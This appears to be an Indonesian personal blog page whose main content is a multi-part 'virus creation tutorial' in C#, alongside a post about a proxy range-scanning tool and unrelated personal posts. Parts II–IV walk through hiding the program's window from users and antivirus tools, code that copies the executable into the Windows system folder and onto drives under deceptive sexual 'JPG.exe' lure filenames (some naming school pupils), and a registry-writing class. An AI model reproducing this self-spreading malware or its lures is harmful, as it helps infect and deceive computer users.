Menghargai Programmer

By // No comments:
Dua minggu ini saya sering Tepok Jidad beneran.
Ceritanya ada client lama yang kembali menghubungi untuk memesan sebuah Aplikasi. Memang sih yang selalu berkomunikasi dengan saya adalah Pribumi, tetapi semua direksi atau pemilik perusahaanya adalah Bule Amrik.
Kok bisa tepok Jidad?. lah setiap saya upload progress dan ada penambahan feature saya selalu melampirkan requirement software. Terakhir saya minta MS SQL Server 2014 Standart (gak usah lah yang aneh2, 7jutaan saja keknya dapat), di Kasih MS SQL Server 2014 Express Advance, dengan alasan feature yang dibutuhkan cukup. Lah iya feature cukup, cuman programmingnya beda tongue emoticon.
Saya di beri akses masuk ke server via Remote Desktop, dan dari RDP saya bisa remote via VNC ke komputer lain yang masih masuk dalam pekerjaan saya, dan PARAHNYA semua komputernya LEGAL whatepak. INDONESIA MAN LEGAL ?. Saya Minta Windows Server 2012 saja cuman dikasih WIndiws 2008 R2 tapi LEGAL, saya pikir wong tinggal download di kickass.to juga dapat.
Tapi asli tuh bule menghargai banget namanya Programmer atau kerjaan dari Programmer. Saya setiap deal sebuah aplikasi ya deal harga pada saat pembicaraan tersebut terjadi, ketika ada pembicaraan lain dan terjadi penambahan requirement, maka akan ada kontrak berbeda. Ngga mau ada component .Net crack2an, untungnya saya sudah meng-konfersi semua component yang saya butuhkan ke versi geratisnya, atau kalau memang tidak ada saya sudah buat sendiri component-nya from scratch.
Mungkin kalau pengguna aplikasi komputer di Indonesia, bisa menghargai keringat programmer kek tuh bule, programmer Indonesia bakalan senyum lebar ,dan menghasilkan aplikasi2 berkualitas.

PROXY SCANNER V1.0

By // No comments:
Selamat sore menjelang malam. Di Malam Minggu yang ceria bagi para Joomlo ini dikarenakan Hujan, sepertinya saya sedang tidak ingin ngobrol-ngobrol masalah pembuatan Virus. Dari selesai Sholat Jum’at kemarin sampe sore ini saya telah menulis sebuah program yang bertujuan untuk mencari proxy yang terbuka dari sebuah range IP Address. Ya bener range IP Address, karena aplikasi ProxyScanner ini akan mengecek semua IP Address dari IP Address tertentu sampai dengan IP Address yang lain. Sebagai contoh kita akan melakukan pengecekan proxy dari IP 192.168.1.1 s/d 192.168.1.254 maka akan ada 254 IP Address yang di scan.
Aplikasi ini juga memungkinkan pengesetan Port, Username, dan Password dari Proxy. Jadi seumpama kita ingin mengecek range IP dengan port 8081 dengan Username tertentu dan Password tertentu, tinggal masukan Port, Username, dan Password pada TextBox yang tersedia. Langsung saja akan saya jelaskan bagaimana untuk menggunakan aplikasi ProxyScanner. Jika anda pertama kali menggunakan ProxyScanner maka anda harus menjalankan sebagai Administrator, karena ProxyScanner membutuhkan sebuah Windows Event Log slot untuk menyimpan semua log, Click kanan pada ProxyScanner.exe dan Run As Administrator.
Apabila aplikasi sudah running masukan data seperti berikut, atau sesuaikan dengan kebutuhan anda
  • From IP Address : adalah IP Address awal, atau IP Address terkecil yang akan di scan.
  • To IP Address : adalah IP Address akhir, atai IP Address terbesar yang akan di scan.
  •  Port : Masukan sesuai kebutuhan, Port Proxy mana yang akan di scan.
  •  Username : Username dari proxy server jika anda ingin melakukan pengecekan dengan credential.
  •  Password : Password dari proxy server jika anda ingin melakukan pengecekan dengan credential.
Apabila semua data telah dimasukan, click “START” untuk memulai pengecekan.
Aplikasi ProxyScanner juga memungkinkan untuk di Cancel, dengan me-click “STOP”
Apabila semua proses ProxyScanner selesai di lakukan dan terdapat Proxy Server yang terdeteksi, profile dari Proxy Server akan di simpan pada file “ValidProxy.txt” yang berada satu Folder dengan file aplikasi.
Apabila anda menemukan sebuah error, bisa langsung printscreen pesan errornya dan kirim ke wawan_redhat@yahoo.com. Terima Kasih

Tutorial Pembuatan Virus Part 4

By // No comments:
Selamat siang, Tulisan Tutorial Pembuatan Virus ini telah masuk ke Part 4. Pada part ini saya akan membahas mengenai Windows Registry, pada akhir pembahasan akan saya paparkan sebuah class untuk akses ke Registry Windows, untuk membuat, membaca atau menghapus Key Registry. 
Sebelum memulai semua, seperti biasa saya akan curhat . Beberapa hari yang lalu ada temen sewaktu kuliah (sampai hari ini sih masih temen) yang menyarankan saya untuk menghentikan tulisan Tutorial Pembuatan Virus ini dan menggantinya dengan Tutorial Membersihkan Virus. Maaf teman, tulisan-tulisan seperti itu sudah lama dulu beberapa kali pernah saya tulis, tetapi hasilnya adalah, mereka yang membaca tulisan saya tersebut kemudian download toolsnya, jalankannya dan komputernya bersih hari itu, hari besok sudah terkena virus kembali. Tulisan-tulisan semacam begitu tidak ada edukasinya sama sekali menurut saya, sudah nulisnya susah, bikin risetnya susah, create Virus Cleanernya ribet, di download di pake tapi besokannya kena virus yang lain lagi. Tetapi dengan tulisan Tutorial Pembuatan Virus ini, pada dasarnya saya punya Misi, yaitu pengin memberikan kesadaran kepada para pengguna komputer agar aware dengan Computer Security, paling tidak timbul kesadaran lah untuk “Owh ya saya harus menjaga komputer pribadi saya”.
Lah kok misinya aware terhadap Computer Security, bukan malah sebaliknya ?. Lah iya, saya ingin memberikan gambaran bahwa orang yang ngerti programming bisa dengan sebegitu gampangnya membuat code virus atau apapun namanya dan bisa masuk ke dalam sistem komputermu hanya karena kamu lalai, tidak tahu, atau tidak mau tahu. Sekarang saya tanya, dari yang mbaca tulisan ini berapa orang yang masang anti virus, meskipun geratisan ?. Berapa yang secara berkala update anti virus ?. Siapa yang masih mencari aplikasi bajakan ?. Siapa yang masih menggunakan keygen ?. Siapa yang masih menggunakan Crack sistem Patching ?. Yakin semua aplikasi yang kamu pakai aman ?.
OK dech lanjut ke materi. Windows Registry ?, saya pertama kali melihat aplikasi Reqistry Editor pada saat masih menggunakan Windows 95, dan saya ndak ngerti apakah di versi Windows sebelumnya menggunakan teknik ini atau tidak. Yang saya pahami dari Windows Registry adalah cara Microsoft untuk menyimpan settings, property dslb dari Sistem Operasi Windows agar mudah di buat, di baca dan di hapus. Sampai dengan Windows XP, sepengetahuan saya kita tidak membutuhkan Administrator Privileges untuk dapat mengakses Registry, tetapi sejak Windows Vista sampai dengan Windows 8.1 kita butuh Administrator Privileges untuk mengaksesnya.
Seperti saya bilang di awal, saya akan paparkan sebuah class untuk akses ke Registry Windows, tidak usah banyak kata lagi, langsung buat sebuah class dengan nama RegAccess di bawah Logic.
  1. Click kanan pada Folder Logic > Add > Class
  2. Beri nama class dengan RegAccess
  3. Tambahkan code pada class RegAccess sehingga menjadi sebagai berikut
using System;
using Microsoft.Win32;

namespace Viruses.Logic
{
    class RegAccess
    {
        public static Exception Exception;

        public Boolean Create(ref RegistryKey keyValue, String nameValue, String dataValue)
        {
            try
            {
                keyValue.SetValue(nameValue, dataValue);
            }
            catch (Exception exception)
            {
                Exception = exception;
                return false;
            }

            return true;
        }

        public Boolean Read(ref RegistryKey keyValue, String nameValue, ref Object dataValue)
        {
            try
            {
                dataValue =  keyValue.GetValue(nameValue);
            }
            catch (Exception exception)
            {
                Exception = exception;
                return false;
            }

            return true;
        }

        public Boolean Delete(ref RegistryKey keyValue, String nameValue)
        {
            try
            {
                keyValue.DeleteValue(nameValue);
            }
            catch (Exception exception)
            {
                Exception = exception;
                return false;
            }

            return true;
        }
    }
}
Untuk Part 4 saya cukupkan sampai di sini. Terima Kasih

Tutorial Pembuatan Virus Part III

By // No comments:
Selamat siang, selamat bertemu lagi . Mumpung hari minggu dan tidak ada kerjaan, karena sepertinya semua dead-line project sudah teratasi, mari kita bikin sesuatu yang bener-bener tidak berguna. Seperti omongan saya pada Part II, kali ini saya akan membahas masalah Portable Executable dan nanti di akhir pembahasan akan masuk sedikit ke class Gandakan.
Portable Executable ?. Apa sebenarnya Portable Executable itu ?. Saya akan menjelaskan dengan bahasa saya atas dasar pengetahuan yang saya miliki, dan yang perlu di ingat bahwa “Bisa jadi saya salah, tapi ada kemungkinan juga saya benar”. Portable Executable menurut bahasa saya adalah aplikasi atau pogram yang dapat di jalankan (dieksekusi) oleh sebuah sistem operasi dan dapat di pindahkan atau di jalankan dari satu komputer ke komputer lain tanpa harus melakukan perubahan, atau re-code atau re-compile. Jadi dengan bahasa saya tersebut, bisa dikatakan SEMUA aplikasi yang berjalan pada sistem operasi Modern adalah Portable Executable. Pertanyaan selanjutnya mungkin akan timbul “Bagaimana dengan aplikasi-aplikasi portable yang tanpa installasi ?”, Proses installasi program pada dasarnya hanya meng-copy-paste-kan executable file ke dalam storage, dan memastikan semua komponen yang dibutuhkan telah eksis pada komputer bersangkutan. Komponen yang dibutuhkan seperti contoh file dll, library dslb. Jadi aplikasi-aplikasi portable yang sering kita jumpai di forum-forum crack itu pada dasarnya adalah executable file yang di paket menjadi satu dengan file-file pendukungnya, sehingga kita tidak harus melakukan copy-paste (baca installasi) pada komputer yang bersangkutan.
Sebelum melanjutkan pembahasan, mungkin banyak dari anda sekalian khususnya yang sedang kuliah jurusan komputer atau baru lulus kuliah komputer akan bingung dengan penjelasan saya diatas. Kalau anda bingung itu pasti, karena dulu saya juga bingung, sebelum akhirnya saya reformat otak atas informasi yang saya dapatkan sewaktu kuliah, dan me-replace-nya dengan informasi-informasi baru yang saya dapatkan dari ebook download-an. Memang menurut saya konsep komputer, sistem operasi, processor, dan lain sebagainya yang diajarkan di Kampus sudah banyak ketinggalan jaman, atau paling tidak sudah tidak sesuai dengan keadaan sekarang. Tetapi jangan khawatir, dasar pemikirannya belum berubah, hanya implementasinya saja yang berubah, jadi ilmu yang anda dapatkan di kampus masih bermanfaat, paling tidak sebagai pengetahuan dasar.
Setelah dijelaskan mengenai Portable Executable mestinya akan ada pertanyaan yang mendasar “Portable Executable ?, loh kok .Net Framework ?”. Pada Part I saya sudah mengatakan bahwa aplikasi virus akan dibangun menggunakan C# dengan .Net Framework 2.0. Melihat namanya Framework, orang biasanya akan langsung berpikir “Lah kan berarti itu middleware yang artinya aplikasi tidak berjalan native”. Terus terang saja, saya bingung dengan konsep Framework dan Middleware. Framework dan Middleware buat saya dua hal yang berbeda. Mungkin orang akan selalu menghubungkan hal tersebut karena dulu awal-awal bumming kata-kata tersebut populer bareng bersamaan dengan kepopuleran bahasa JAVA. Buat saya Framework ya Framework, dia kerangka kerja, garis acuan dalam pengembangan sebuah aplikasi, dan Middleware adalah sebuah aplikasi lain yang menjembatani antara sebuah aplikasi dengan sistem operasi, sebagai contoh JVM yang akan menterjemahkan bitcode yang dihasilkan dari Java Compiller ke bahasa yang dimengerti processor dan bersesuaian dengan Sistem Operasi yang digunakan. Pertanyaan selanjutnya adalah “Apakah aplikasi yang dibangun dengan C# atau VB .Net dengan .Net Framework Native ?, karena kan butuh .Net Framework yang terinstall di Sistem Operasi.” Jika pertanyaan yang kurang lebih begitu ditanyakan kepada saya, dan beberapa orang juga sudah bertanya, saya ingin bertanya balik “VB6 Native ?, Visual C++ Native ?, Delphi Native ?”. Seperti juga aplikasi .Net yang membutuhkan file-file pendukung yang terpaket dalam .Net Framework aplikasi-aplikasi yang dikembangkan dengan bahasa2 tersebut juga pada dasarnya membutuhkan file-file pendukung yang “secara default sudah ada pada sistem operasi”.
Pembahasan mengenai Portable Executable untuk kali ini saya cukupkan segitu, karena kalau di bahas lebih lanjut, bisa-bisa dua kali puasa dua kali lebarang belum kelar juga Part III ini. Langsung saja buka Visual Studio dan open project “viruses”, kemudian click dua kali pada file  Gandakan.cs untuk membuka file editor dan ketikan kode berikut


using System;
using System.IO;
using System.Windows.Forms;

namespace Viruses.Logic
{
    class Gandakan
    {
        private readonly string[] _names = { "janda.JPG.exe", "ariel sex tape.JPG.exe", "chika bandung.JPG.exe", 
                                             "Lisa Poltek Bandung.JPG.exe", "Maria Ozawa.JPG.exe", 
                                             "JAV artis.JPG.exe", "SMA Slawi bugil.JPG.exe", "bugil kamar mandi.JPG.exe",
                                             "smp 4 jakarta ngentot.JPG.exe", "nabila JKT48 telanjang.JPG.exe"
                                           };
        private readonly Random _random = new Random();

        public Boolean CopySystem()
        {
            try
            {
                File.Copy(Application.ExecutablePath, Environment.SystemDirectory + "/thevirus.exe", true);
            }
            catch (Exception)
            {
                return false;
            }
            return true;
        }

        public Boolean CopyDrive(string driveValue)
        {
            try
            {
                var index = _random.Next(0, _names.Length);
                if (!Application.ExecutablePath.Equals(driveValue + _names[index]))
                {
                    File.Copy(Application.ExecutablePath, driveValue + _names[index], true);
                }
            }
            catch (Exception)
            {
                return false;
            }
            return true;
        }

        public Boolean CopyTo(string destinationValue)
        {
            try
            {
                if (!File.Exists(destinationValue))
                {
                    File.Copy(Application.ExecutablePath, destinationValue, true);
                }
            }
            catch (Exception)
            {
                return false;
            }
            return true;
        }
    }
}
Penjelasan dari Code diatas kurang lebih seperti ini :

  1. Variable Array String _names, adalah variable yang digunakan untuk menyimpan nama file hasil penggandaan diri. Ini adalah teknik pengecohan, memang teknik kuno tetapi sampai hari ini menurut saya masih sangat efektif, tinggal pinter-pinter kita melakukan trik untuk menipu orang.
  2. Fungsi CopySystem, adalah fungsi yang digunakan untuk meng-copy-kan aplikasi virus ke System Windows. Fungsi ini membutuhkan Administrator Privileges, tapi jangan takut, setelah nanti banyak Part tentang pengetahuan dasar selesai di tulis akan saya jelaskan tentang mengakali hal ini.
  3. Fungsi CopyDrive, adalah fungsi yang berguna untuk meng-copy-kan aplikasi virus ke Drive active.
  4. Fungsi CopyTo, adalah fungsi yang berguna untuk meng-copy-kan aplikasi virus ke target path sesuai dengan definisi.

Untuk kali ini saya cukupkan sampai sekian dulu, dan hal yang perlu diingat adalah Saya kehilangan semua Source Code lama saya karena HDD bad-sector tanpa sempat melakukan backup, dan semua data dan code-code yang saya punya hilang semua. Jadi Code-code dalam tulisan ini dan tulisan-tulisan selanjutnya adalah Code baru, dan saya sendiri belum mengujinya jadi ada kemungkinan code error. Sambil jalan akan saya benerin, jadi ada kemungkinan nanti ke depan akan ada refisi-refisi kode. Terima Kasih.

Tutorial Pembuatan Virus Part II

By // No comments:
Siang semua, Ok pada Sabtu Siang yang panas dirumah saya yang gak ber-AC ini, saya ingin meneruskan tulisan saya mengenai pembuatan Virus, dan Post ini tak kasih Judul “Tutorial Pembuatan Virus Part II”. BTW, ini seriusan,. Masalah Rumah panas tak ber-AC hanya masalah saya tidak mau beli AC, gitu saja sih sebenere :P. Ya gimana yah,... BELI AC-nya sih mampu dan bisa-bisa saja, cuman ngopeni Setrumnya itu yang ....... asudahlah, penikmat Listrik 900Watt yang masih dalam subsidi pemerintah, memang tidak perlu berfoya-foya .
Curhatnya udahan, kita curhat ke materi yang lain, ini beneran curhat bukan pengalihan isu. Jadi pada dasarnya dan pada intinya, saya hari ini Sabtu 18 April 2015 (What ?? 18 April, berarti saya ulang tahun dong ) sudah berenca untuk menulis tentang materi Pencurian Credential dan sudah saya kumpulkan materinya, tetapi ternyata pagi tadi lihat facebook, di Wall saya temukan link tutorial masalah Phishing, materinya kurang lebih sama, tidak terlalu jauh berbeda, jadi besok lagi saja nulisnya kalau sempet.
Pada tulisan ini saya akan meneruskan tulisan Part I yang sudah pada langkah pertama pembuatan class Beranak. Tapi terus terang setelah saya baca lagi tutorialnya, sepertinya class Beranak kok terasa agak aneh yah, jadi saya putuskan untuk mengganti name class-nya menjadi Gandakan, untuk melakukannya click kanan pada file Beranak.cs kemudian Rename dan rubah menjadi “Gandakan”


Sebelum masuk pada penulisan code pada class Gandakan, saya ingin memberikan sedikit penyesuaian pada Property dari Form1. Pertama saya ingin merubah nama Form1 menjadi FormMain. Click kanan pada file Form1.cs dan Rename, kemudian ubah nama form menjadi FormMain.


Pada dasarnya tidak melakukan perbahan Form Name juga tidak ada masalah, ini faktor kebiasaan saja merubah Nama Form Utama dari aplikasi menjadi FormMain. Setelah melakukan perubahan Form Name, langkah selanjutnya adalah merubah beberapa Property dari FormMain. Yang pertama Form Text, ubah Form Text menjadi kosong atau tanpa karakter atau string.empty. Ini bertujuan untuk sedikit membingungkan aplikasi lain seperti anti virus atau semacemnya yang mencoba mengakses aplikasi kita pada saat running. Karena ada beberapa algoritma yang memanfaatkan Windows API untuk memanipulasi sebuah aplikasi yang sedang running  dengan memanfaatkan Form Text untuk memilih aplikasi yang menjadi target dari sekian banyak aplikasi di Windows System yang sedang berjalan.


Kita juga akan merubah FormBorderStyle-nya dengan FixedDialog.


Men-disable MaximizeBox dan MinimizeBox


Men-setting Opacity menjadi 1% agar Form menjadi transparant dan mengganti Property ShowInTaskbar menjadi False agar Form tidak terlihat seperti Siluman, semacam Ada dan Tiada. BTW, kenapa opacity di setting 1% tidak 0% sekalian ?, saya lupa di sebelah mananya tetapi nanti akan kita temukan error kalau Form mempunyai Opacity 0%.


Setting terakhir adalah merubah Property WindowState ke Minimized dengan tujuan agar aplikasi ketika berjalan otomatis minimize dan tidak menutupi aplikasi lain.


Setelah semua penyesuaian Property dilakukan, Run aplikasi. Jika semua Property tersetting dengan benar, seharusnya anda tidak akan tahu aplikasi sedang running, kecuali di lihat menggunakan Task Manager.


Tadi di angan-angan saya sebelum menulis tutorial part II ini, saya ingin sekalian membahas mengenai Portable Executable, dan sekalian source code untuk class Gandakan, tetapi kok sepertinya sampai di sini saja sudah banyak yak. Jadi saya putuskan pembahasan materi tersebut akan saya beberkan di Part III saja. Terakhir kata,  TERIMA KASIH dan doakan agar saya segera punya waktu luang kembali untuk menulis Tutorial Selanjutnya.



Kumpulan Foto-Foto Cantik Raisa

By // No comments:
Ntah lah,...... pokoknya saya nge-fans berat dengan namanya Raisa Andriana. Dan saya ingin mendedikasikan Page ini untuk mengumpulkan foto-foto cantiknya.
Love U Raisa :P



Tapi aku paling suka ama masakanmu :)




Tutorial Pembuatan Virus Part I

By // No comments:
Ok tulisan ini akan membahas mengenai pembuatan virus komputer. Jangan telalu berharap banyak dengan tulisan ini, selain tulisan ini masih Part 1 yang berarti akan ada tulisan-tulisan lain, saya sendiri juga bukan Profesional Virus Maker. Pada dasarnya saya pernah membuat beberapa tulisan mengenai pembuatan virus komputer yang waktu itu saya tulis di website NR Technology (http://www.nrtech.org) tetapi sejak kejadian White Screen website setelah saya lakukan upgrade Themes yang disebabkan rusaknya susunan database akhirnya dengan terpaksa saya harus menghapus semua data pada database site tersebut, termasuk tulisan-tulisan saya. Memang dulu pada saat saya menulis pertama kali mengenai materi virus komputer banyak orang yang bertanya “Kenapa harus materi virus ? bukan materi yang lain toh materi tentang Pemrograman banyak”, untuk pertanyaan tersebut intinya begini, saya ingin berbagi tentang materi yang saya senangi, dan saya tidak berpikir nantinya orang lain akan menggunakan tulisan saya untuk berbuat jahat, karena kejahatan dan kebaikan bukan ranah saya untuk mengurusinya. Untuk menjadi jahat atau menjadi baik tiap-tiap orang diberi kebebasan untuk memilihnya.
Tidak usah terlalu berpanjang lebar tentang preface, mari kita langsung masuk ke materi. Seperti saya tulis diatas, jangan terlalu berharap banyak dengan tulisan ini, karena pada tulisan kali ini saya hanya akan membahas informasi dan pengetahuan dasar tentang pengebangan Virus Komputer sesuai dengan yang saya ketahui, karena pasti banyak banget yang tidak saya ketahui, apalagi sebagian besar dari pengetahuan saya mengenai Virus saya dapatkan berdasarkan pada pengalaman membersihkan Virus, bukan dapat dari sebuah forum atau group diskusi. 
Hal utama dan pertama yang harus di ketahui adalah definisi Virus itu sendiri, saya pribadi mengartikan Virus Komputer adalah sebuah aplikasi yang dapat menggandakan dirinya sendiri, apapun bentuknya bagaimanapun caranya. Ada banyak perdebatan mengenai definisi virus, malware, trojan lain sebagainya, tetapi intinya untuk tulisan ini dan tulisan-tulisan selanjutnya saya menggunakan definisi Virus Komputer adalah Aplikasi Yang Dapat Menggandakan Dirinya Sendiri.
Setelah di definisikan mengenai Virus Komputer, selanjutnya adalah Tools apa yang akan digunakan dalam tulisan ini. Ok, yang jelas targetnya Virus berjalan pada Komputer yang terinstall Windows 7, dengan alasan Windows 7 masih menjadi Sistem Operasi yang paling banyak di gunakan pada PC Desktop. Saya akan menggunakan C# dengan .Net Framework 2.0 untuk membuat Virus tersebut, karena secara default Windows 7 telah terinstallasi .Net Framework 2.0. Target dan bahasa pemrograman telah di tentukan, selanjutnya kita akan memilih tools untuk mengembangan aplikasinya, karena saya menggunakan C# dengan .Net Framework 2.0 maka tools yang akan digunakan tidak lain adalah Visual Studio, dan saya menggunakan Visual Studio 2013.
Setelah semua kebutuhan awal terdefinisi dan terinstall pada Development PC, hal pertama yang harus dilakukan adalah membuat Project di Visual Studio 2013 untuk aplikasi virus tersebut. Untuk membuat Project pada Visual Studio 2013 setelah menjalankan aplikasi VS2013 lakukan langkah-langkah berikut :
  1. File -> New -> Project.
  2. Definisikan Project  Name, kali ini saya mendefinisikan “Viruses”.
  3. Project berhasil dibuat.
  4. Buatlah folder “Logic” pada Project.
  5. Logic folder berhasil di buat.
  6. Buat Class dengan nama “Beranak”.
  7. Class “Beranak” berhasil di buat.

Sepertinya untuk Part I, saya cukupkan sampai di sini dulu, doakan biar saya mempunyai kesempatan untuk segara membuat tulisan Part II. Terima Kasih.


Powered by Blogger.